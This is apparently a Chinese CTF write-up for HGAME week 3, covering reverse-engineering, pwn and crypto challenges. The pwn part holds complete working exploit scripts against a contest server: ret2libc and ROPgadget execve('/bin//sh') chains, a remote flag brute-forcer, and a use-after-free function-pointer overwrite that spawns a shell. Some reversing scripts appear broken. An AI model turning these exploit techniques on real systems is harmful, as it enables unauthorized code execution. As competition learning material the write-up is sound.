

# HGAME 第三周 Re 部分 WriteUp

## 0x01 Waifu

由于做 pwn 升级了 IDA，旧的分析记录打不开了…注释也就没有了，首先打开程序观察发现除了一张图片啥也没有，用 IDA 载入之后发现是直接输入 flag 比较的套路，按 v 还会弹窗不过没啥其他影响了，关键是加密函数，找到分析一下

```
u3 = 0;
do
{
    u4 = u3 & 0x1F;
    if ( u3 & 0x1F )
    {
        if ( u4 == 2 && (*((__BYTE *)&dw04398 + u3) ^ 0x69) != 35 )
            u1 = 0;
    }
    else if ( (*((__BYTE *)&dw04398 + u3) ^ 0x56) != 19 )
    {
        u1 = 0;
    }
    if ( u4 == 4 )
    {
        if ( (*((__BYTE *)&dw04398 + u3) ^ 0x64) != 83 )
            u1 = 0;
    }
    else if ( u4 == 6 && (*((__BYTE *)&dw04398 + u3) ^ 0x61) != 55 )
    {
        u1 = 0;
    }
    if ( u4 == 8 && (*((__BYTE *)&dw04398 + u3) ^ 0x72) != 28 )
        u1 = 0;
    if ( u3 & 1 )
    {
        u5 = u0++ % 4;
        u6 = 0;
        if ( (*((char *)&dw04398 + u3) + (*((char *)&dw04398 + u3 + 1)) ^ 0x76) == dw043260[u5] )
            u6 = u1;
        u1 = u6;
    }
    ++u3;
}
while ( u3 < 9 );
```

前半段的加密比较简单，相应位置 xor 一个固定的值，反过来之后可以确定前九位为 EnJ07\_Vvn，再看后面

```

v7 = byte_4043A3 * byte_4043A2 * byte_4043A1;
v8 = v7 * byte_4043A4;
if ( byte_4043A4 )
    v9 = v7 / byte_4043A4;
else
    v9 = 1;
if ( (v8 % 109 || v8 % 103)
    && !(v9 % 41)
    && byte_4043A1 < byte_4043A2
    && byte_4043A3 < byte_4043A1
    && byte_4043A1 < byte_4043A4 )
{
    v1 = 0;
}

```

这是更新前的附件……可以发现这里的逻辑有点问题，好像只要满足一个就可以了，导致了最后多解的出现，更新后的附件如下

```

if ( v8 % 109
    || v8 % 103
    || v9 % 41
    || byte_4043A1 >= byte_4043A2
    || byte_4043A3 >= byte_4043A1
    || byte_4043A1 >= byte_4043A4 )
{
    v1 = 0;
}

```

这里并不能判断后几位到底是几，不过可以确定一定存在 m 和 g

```

if ( dword_40438C >= 2 )
{
    v10 = 8;
    v11 = _mm_add_epi32(
        _mm_mullo_epi32(
            _mm_cvt_pi8_epi32(_mm_cvtsi32_si128(dword_40439C)),
            _mm_add_epi32(_mm_add_epi32((__m128i)xmmword_403290, (__m128i)xmmword_403280), (__m128i)xmmword_4032B0)),
        _mm_mullo_epi32(
            _mm_cvt_pi8_epi32(_mm_cvtsi32_si128(dword_404398)),
            _mm_add_epi32((__m128i)xmmword_403280, (__m128i)xmmword_4032B0)));
    v12 = _mm_add_epi32(v11, _mm_srli_si128(v11, 8));
    v28 = _mm_cvtsi128_si32(_mm_add_epi32(v12, _mm_srli_si128(v12, 4)));
}
v13 = 0;
v14 = 0;
v15 = v10 + 17;
v27 = v10 + 2 * ((unsigned int)(11 - v10) >> 1) + 2;
do
{
    v13 += v15 * byte_404387[v15];
    v16 = (v15 + 1) * *((char *)&dword_404388 + v15);
    v15 += 2;
    v14 += v16;
}
while ( v15 < 29 );
if ( v27 < 13 )
    v28 += (v27 + 17) * *((char *)&dword_404398 + v27);
v29 = v14 + v13 + v28;
v17 = 0;
...

```

这后面的指令就很让人挠头了…一大堆没见过的指令，直接

上 od，发现 40438c 的值一直是 5，又因为已经知道了前面 9 位的值，就是说只要动态调试一下，可以确定下这段运算的结果，至于其他部分则是前九位之后的部分乘上一个数之后的累加，下面那段也是类似，即

```
v29 = 25 * list[8] + 26 * list[9] + 27 * list[10] + 28 * list[11] + 29 * list[12] + 0x3506 = 0x63A2
v25 = 24 * list[8] + 25 * list[9] + 26 * list[10] + 27 * list[11] + 28 * list[12] + 0x3277 = 0x5F58
```

至于那段不认识的指令到底干了啥我其实并没有看出来…后来和薯片大佬讨论过，他好像并没有管那些也做出了答案，之后看一下他的 wp 学习一下吧，最后是爆破代码（一开始我以为 n 是后半段的了所以代码有点奇怪）

```
1 import string
2 o = [0x45,0x4a,0x37,0x56,0x6e]
3 text = [0xce,0x11,0xc3,0x92]
4 s = ''
5 for i in range(5):
6     s += chr(o[i])
7     if i != 4:
8         s += chr((text[i] ^ 0x76) - o[i+1])
9
10 ps = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789'
11
12 for a in 'n':
13     for b in ps:
14         for c in ps:
15             for d in ps:
16                 for e in ps:
17                     if ord(a) + ord(b) + ord(c) + ord(d) + ord(e) == 443:
18                         if 25 * ord(a) + 26 * ord(b) + 27 * ord(c) + 28 * ord(d) + 29 * ord(e) == 0x2e9c:
19                             v7 = ord(b)*ord(c)*ord(d)
20                             v8 = v7*ord(e)
21                             v9 = v7//ord(e)
22                             if not(v8 % 109 or v8 % 103 or v9 % 41 or ord(b) >= ord(c) or ord(d) >= ord(b) or ord(b) >= ord(e)):
23                                 flag = s + b + c + d + e
24                                 print(flag)
25
26
```

EnJ07\_VvnDm5g

## 0x02 Another Waifu


最简单的壳之一——UPX, 直接用 od 脱掉之后 ida 载入，

```

}
if ( (unsigned __int16)a3 == 1 )
{
    v11 = -2066662275;
    v12 = 1240169406;
    v13 = -2053254339;
    v14 = 1852430832;
    v15 = -200758291;
    v16 = -1327356983;
    v17 = 2085793781;
    v18 = -530546300;
    v19 = 17162321;
    v20 = -1835580987;
    v21 = -1707378128;
    v22 = -988971354;
    v23 = 0;
    v24 = 0;
    v25 = 0;
    v26 = 0;
    sub_1071000();
    v6 = 0;
    while ( dword_1074590[v6] == *(int *)((char *)&v11 + v6 * 4) )
    {
        ++v6;
        if ( v6 >= 16 )
        {
            MessageBox(0, "Nice Battle!", "Lillie: ", 0);
            return 0;
        }
        MessageBox(0, "Hah... Haaaah... Sorry... I'm not...very good...at running...", "Lillie: ", 0);
    }
    break;
}
return 0;

```

看到这一段，用 od 动态调试发现 1074590 就是输入的字符串，v11 就是加密后的 flag 了，1071000 大概就是加密函数了，里面并不难见招拆招就能写出 flag 了，这里把一个数拆成两半的加密方式还蛮有意思的



```

1  m = [0x70,0x3c,0x01,0x84,0x8e,0x70,0xf0,0x49,0x10,0x01,0x00,0x05,0xf0,0x09,0x09,0x0e,0x0d,0x08,0xf4,0xc9,0x23,0xf2,0x00,0xf5,0xaf,0x52,0x7c,0x84,0x01,0x00,0xf0,0xf1,0xf0,0x05,0x01,0xc5,0x41,0x97,0x0
2  ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
3
4  k = 0
5  for i in range(0,len(m),4):
6      k = m[i]
7      m[i] = m[i + 3]
8      m[i + 3] = k
9      k = m[i + 1]
10     m[i + 1] = m[i + 2]
11     m[i + 2] = k
12 v14 = 'Hollan_Vulpix'
13 s1 = []
14 dst = ''
15 for i in range(255):
16     s1.append(0)
17     dst += v14[i % len(v14)]
18 v15 = 0
19 for i in range(256):
20     v18 = s1[i]
21     v15 = (v15 + ord(dst[i]) + s1[i]) % 256
22     s1[i] = s1[v15]
23     s1[v15] = v18
24 v19 = 0
25 v20 = 0
26 for v21 in range(0x30):
27     v19 = (v19 + 1) % 256
28     v22 = s1[v19]
29     v23 = s1[v19]
30     v20 = (v23 + v20) % 256
31     s1[v20] = s1[v20]
32     s1[v20] = v22
33     m[v21] = s1[(v23 + s1[v19]) & 0xff]
34 flag = ''
35 for i in range(0):
36     v0 = i + 8
37     m4 = m[v0] & 1
38     m3 = m[v0 + 1]
39     m5 = m[v0 + 2]
40     m7 = m[v0 + 3]
41     m0 = m[v0 + 4]
42     m11 = m[v0 + 5]
43     m13 = m[v0 + 7]
44     flag = chr((m3 & 0xf) << 2 | ((m5 & 0x0e) >> 5))
45     v3 = chr(((m3 & 0xf) << 2 | ((m5 & 0x0e) >> 5))
46     v5 = chr(((m5 & 0xf) << 3 | ((m7 & 0x70) >> 4))
47     v7 = chr(((m7 & 0xf) << 4 | ((m9 & 0x70) >> 3))
48     v9 = chr(((m9 & 0x7) << 5 | ((m11 & 0x7c) >> 2))
49     v11 = chr(((m11 & 0x3) << 6 | ((m13 & 0x7e) >> 1))
50     v13 = chr(m[v0 + 7])
51     flag += v3 + v5 + v7 + v9 + v11 + v13
52
53 print(flag)
54
hgame(Ez_Encr7pt_c4n_n0t_s10p_Ur_prgress)

```

## 0x03 Darling Waifu

最后一个老婆上了点反调试手段, debug 模式启动子进程释放关键函数并由子进程执行相关代码, 动态调试看来是不行了 (反正我是不会了……) 幸亏关键函数只是 xor 个 0x76, 可以手动把代码还原, 还原之后

```
signed int i; // [esp+4h] [ebp-4h]

for ( i = 0; i < 33; ++i )
{
    byte_4043B0[i] = byte_4043F0[i] ^ off_404018[i % strlen(off_404018)];
    if ( byte_4043B0[i] != (unsigned __int8)byte_40401C[i] )
        return 0;
}
return v1;
}
```

极其容易的加密, 直接给代码了

```
1 a = [0x53,0x74,0x72,0x65,0x6C,0x69,0x74,0x7A,0x69,0x61]
2 m = [0x3B,0x13,0x13,0x08,0x09,0x12,0x35,0x14,0x1D,0x08,0x0C,0x40,0x1C,0x50,0x05,0x36
3 ,0x30,0x4F,0x0B,0x14,0x64,0x43,0x1B,0x0B,0x0B,0x36,0x01,0x25,0x2D,0x51,0x1D,0x41
4 ,0x0F]
5 flag = ''
6 for i in range(len(m)):
7     flag += chr(m[i] ^ a[i % len(a)])
8 print(flag)
```

hgame{Anti\_4n5i\_D5bu77ing\_u\_D0N5}

# HGAME 第三周 Pwn 部分 WriteUp

## 0x01 hacker\_system\_ver2

就是上周的 1 的 64 位版本，除了地址的升级，最关键的区别是传参方式的改变，64 位下传参不直接用栈，而是以 rdi, rsi, rdx, rcx, r8, r9 的顺序传递，不够用才会用到栈，那么为了传参也就需要用到 ROP 技术了，学习了一下相关工具的使用，改了下上周的代码成功拿到 flag

```
from pwn import *
sh = remote('111.230.149.72',10008)
#sh = process('./hacker_system_ver2')
elf = ELF('hacker_system_ver2')
plt_puts = elf.symbols['puts']
print('plt_puts= ' + hex(plt_puts))
got_puts = elf.got['puts']
print('got_puts= ' + hex(got_puts))
fuladdr = 0x0000000000400C63
#0x7ffff7a2d740 0x7ffff7a52390 0x7ffff7a7c690 0x7ffff7b99d57
retrdiaddr = 0x0000000000400fb3
sysoffset = 0x24C50
putsoffset = 0x4EF50
binshoffset = 0x16C617

payload1 = 'A' * 0x38 + p64(retrdiaddr) + p64(got_puts) + p64(plt_puts) + p64(fuladdr)
sh.sendline('2')
sh.sendline('-1')
sh.sendline(payload1)
#sh.interactive()
sh.recvuntil('!!\n')
puts_addr = u64(sh.recv(6) + '\x00\x00')
print('puts_addr= ' + hex(puts_addr))
IM_addr = puts_addr - putsoffset
payload2 = 'A' * 0x38 + p64(retrdiaddr) + p64(IM_addr + binshoffset) + p64(IM_addr + sysoffset) + p64(fuladdr)
sh.sendline('-1')
sh.sendline(payload2)

sh.interactive()
```

hgame{damn\_it\_\_big\_hacker\_you\_win\_the\_flag\_again}

## 0x02 calc

Hint 是 ropchain 了解一下，了解一下之后结合 save result 这里很明显的栈溢出漏洞，写出 exp



```

1  from pwn import *
2  from struct import pack
3  sh = remote('111.230.149.72',10009)
4  sh.sendline('1')
5  sh.sendline('68')
6  sh.sendline('0')
7  for i in range(0,65):
8      sh.sendline('5')
9  #!/usr/bin/env python2
10 # execve generated by ROPgadget
11 # Padding goes here
12 p = ''
13 p += pack('<I', 0x08056ad3) # pop edx ; ret
14 p += pack('<I', 0x080ea060) # @ .data
15 p += pack('<I', 0x080b8446) # pop eax ; ret
16 p += '/bin'
17 p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
18 p += pack('<I', 0x08056ad3) # pop edx ; ret
19 p += pack('<I', 0x080ea064) # @ .data + 4
20 p += pack('<I', 0x080b8446) # pop eax ; ret
21 p += '//sh'
22 p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
23 p += pack('<I', 0x08056ad3) # pop edx ; ret
24 p += pack('<I', 0x080ea068) # @ .data + 8
25 p += pack('<I', 0x08049603) # xor eax, eax ; ret
26 p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
27 p += pack('<I', 0x080481c9) # pop ebx ; ret
28 p += pack('<I', 0x080ea060) # @ .data
29 p += pack('<I', 0x080dee5d) # pop ecx ; ret
30 p += pack('<I', 0x080ea068) # @ .data + 8
31 p += pack('<I', 0x08056ad3) # pop edx ; ret
32 p += pack('<I', 0x080ea068) # @ .data + 8
33 p += pack('<I', 0x08049603) # xor eax, eax ; ret
34 p += pack('<I', 0x0807b01f) # inc eax ; ret
35 p += pack('<I', 0x0807b01f) # inc eax ; ret
36 p += pack('<I', 0x0807b01f) # inc eax ; ret
37 p += pack('<I', 0x0807b01f) # inc eax ; ret
38 p += pack('<I', 0x0807b01f) # inc eax ; ret
39 p += pack('<I', 0x0807b01f) # inc eax ; ret
40 p += pack('<I', 0x0807b01f) # inc eax ; ret
41 p += pack('<I', 0x0807b01f) # inc eax ; ret
42 p += pack('<I', 0x0807b01f) # inc eax ; ret
43 p += pack('<I', 0x0807b01f) # inc eax ; ret
44 p += pack('<I', 0x0807b01f) # inc eax ; ret
45 p += pack('<I', 0x0806d445) # int 0x80
46
47 for i in range(0,len(p),4):
48     a = p[i] + p[i + 1] + p[i + 2] + p[i + 3]
49     sh.sendline('1')
50     sh.sendline(str(struct.unpack('<I',a)[0]))
51     sh.sendline('0')
52     sh.sendline('5')
53 sh.interactive()

```

Flag 为 hgame{go0o0o0o00o0o0o0o0oo00o0d\_j0b}

## 0x03 zazahui\_ver2

第一周 zazahui 的升级版，去掉了会暴露信息的 puts 也就没法直接输出 flag 了，但漏洞毕竟还在，想另外的办法利用就可以，想了很久突然灵光一闪——既然我知道最后一个字符肯定是}那是不是可以爆破出 flag 的长度，再之后继续从后向前一位位爆破出 flag 呢，写出 exp，尝试了一下果然成功了！

```
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
[+] Opening connection to 111.230.149.72 on port 10010: Done
[*] Closed connection to 111.230.149.72 port 10010
}OL_gnitsretni_si_galf_op_oa
ao_po_flag_is_intersting_L0}
aris@aris-VirtualBox:~/桌面/pwn/zzhv2$
```

这里少爆破了一个 b，但是明显可以猜出来了（最后一个 L 是我测试的时候就得出来了没有参与最后的爆破）

代码和完整 flag 如下：



```

from pwn import *
import string
s = string.printable
i = 0
IM = 0x0804A081 #end = 0x804A083 start = 60
#hgame{bao_po_flag_is_intersting_LOL}
dflag = '}'
addload = 'L}'
while True:
    payload = 'A' * 176 + p32(IM)
    sh = remote("111.230.149.72", 10010)
    sh.recvuntil('>')
    sh.sendline(payload)
    sh.recvuntil('>')
    sh.recvuntil('\n')
    sh.recvuntil('\n')
    sh.recvuntil('\n')
    #sh.interactive()
    payload = s[i] + addload
    sh.sendline(payload)
    recv = sh.recvline()
    if recv[2] != 't':
        dflag += s[i]
        addload = s[i] + addload
        sh.close()
        IM -= 1
        i = 0
        print(dflag)
        if IM == 0x804A066:
            print(dflag[::-1])
            break
    else:
        i += 1
        sh.close()

```

## 0x04 message\_saver

从最后来看这题的确是不难的…但是由于我的 ida 是 6.8 它没分析出下面这个函数以至于我在想着各种泄露地址的方法……

```

IDA view A
1 signed __int64 sub_400816()
2 {
3     signed __int64 result; // rax
4
5     result = 59LL;
6     __asm { syscall; LINUX - sys_execve }
7     return result;
8 }

```

Use After Free 漏洞也是当初刚学 c 的时候学长提醒过的东西，这里输入 4 就会 free 掉 malloc 申请的 24 个字节但是指向这个地方的指针并没有改变，而且在这 24 个字节里还有函数指针，所以在 add-del-edit 之后用上面得 400816 覆盖函数指针，而 message 则置为/bin//sh 就可以得到 shell

```

from pwn import *
sh = remote('111.230.149.72', 10011)
sysaddr = 0x0000000000400816

sh.sendline('1')
sh.sendline('1')
sh.send('1')
sh.sendline('1')|
sh.sendline('4')
sh.sendline('2')
sh.sendline('24')
sh.sendline('/bin//sh' + 'a' * 8 + p64(sysaddr))
sh.interactive()

```

Flag 为 hgame{be\_careful\_wtih\_dangling\_pointers}

# HGAME 第三周 Crypto 部分 WriteUp

## 0x01 babyrsa

-pkcs、-oaep、-ssl、-raw、-x931: 采用的填充模式，上述四个值分别代表：PKCS#1.5(缺省值)、PKCS#1 OAEP、SSLv2、X931里面特定的填充模式，或者不填充。如果要签名，只有-pkcs和-raw可以使用。

Hint 说要了解上面那个……而我看了看就四个，默认的试了不对，试了第二个得到 flag……啥都没有了解到\_(:3)∠)\_

```
aris@aris-VirtualBox:~/桌面/crypto/babyrsa$ openssl rsautl -decrypt -inkey private.pem -in flag.enc -oaep
hgame{OAEP i3 safer%$#}aris@aris-VirtualBox:~/桌面/crypto/babyrsa$
```